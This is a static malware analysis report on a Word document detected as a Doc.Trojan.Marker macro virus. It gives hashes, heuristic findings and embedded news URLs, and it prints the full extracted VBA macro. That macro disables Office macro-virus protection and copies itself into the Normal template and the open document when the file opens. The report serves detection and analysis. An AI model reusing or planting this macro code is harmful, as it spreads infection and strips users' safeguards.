Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 441c8854faca3021…

MALICIOUS

Office (OLE)

85.0 KB Created: 2008-04-19 21:12:00 Authoring application: Microsoft Word 10.0 First seen: 2014-05-13
MD5: 61a51093b749a9265061395e23506052 SHA-1: 091a56508373f0296c94cbfd1fe3be2146fe1fc1 SHA-256: 441c8854faca30214f8fec5f208994362c2fbb7ea995a68f5e39cb75593ef717
150 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    'Switch the VirusProtection OFF
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    '
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://topics.nytimes.com/top/reference/timestopics/people/s/roberta_smith/index.html?inline=nyt-per In document text (OLE body)
    • http://topics.nytimes.com/top/reference/timestopics/people/p/jackson_pollock/index.html?inline=nyt-perIn document text (OLE body)
    • http://topics.nytimes.com/top/reference/timestopics/people/k/paul_klee/index.html?inline=nyt-perIn document text (OLE body)
    • http://topics.nytimes.com/top/reference/timestopics/organizations/n/new_museum_of_contemporary_art/index.html?inline=nyt-orgIn document text (OLE body)
    • http://topics.nytimes.com/top/reference/timestopics/organizations/b/baruch_college/index.html?inline=nyt-orgIn document text (OLE body)
    • http://topics.nytimes.com/top/reference/timestopics/people/p/pablo_picasso/index.html?inline=nyt-perIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1589 bytes
SHA-256: 925568a6337386888e12235597bd3cd538a50ee920a2908a760a1561755ed1d2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
' ********** Anti-Virus macro by Patrick **********
'
' <- this is a marker!
' DO NOT delete or alter the above marker line since the original virus looks for it
' and will not infect the document if the above line exists

Const Marker = "Patricks marker!"
On Error Resume Next

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInnoculated, NormalTemplateInnoculated As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInnoculated = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInnoculated = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)

'Switch the VirusProtection OFF
Options.VirusProtection = False

  'Innoculate the NormalTemplate
  If DocumentInnoculated = True Then
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    NormalTemplate.Save
  End If

  'Innoculate the ActiveDocument
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    ActiveDocument.Save
  
End Sub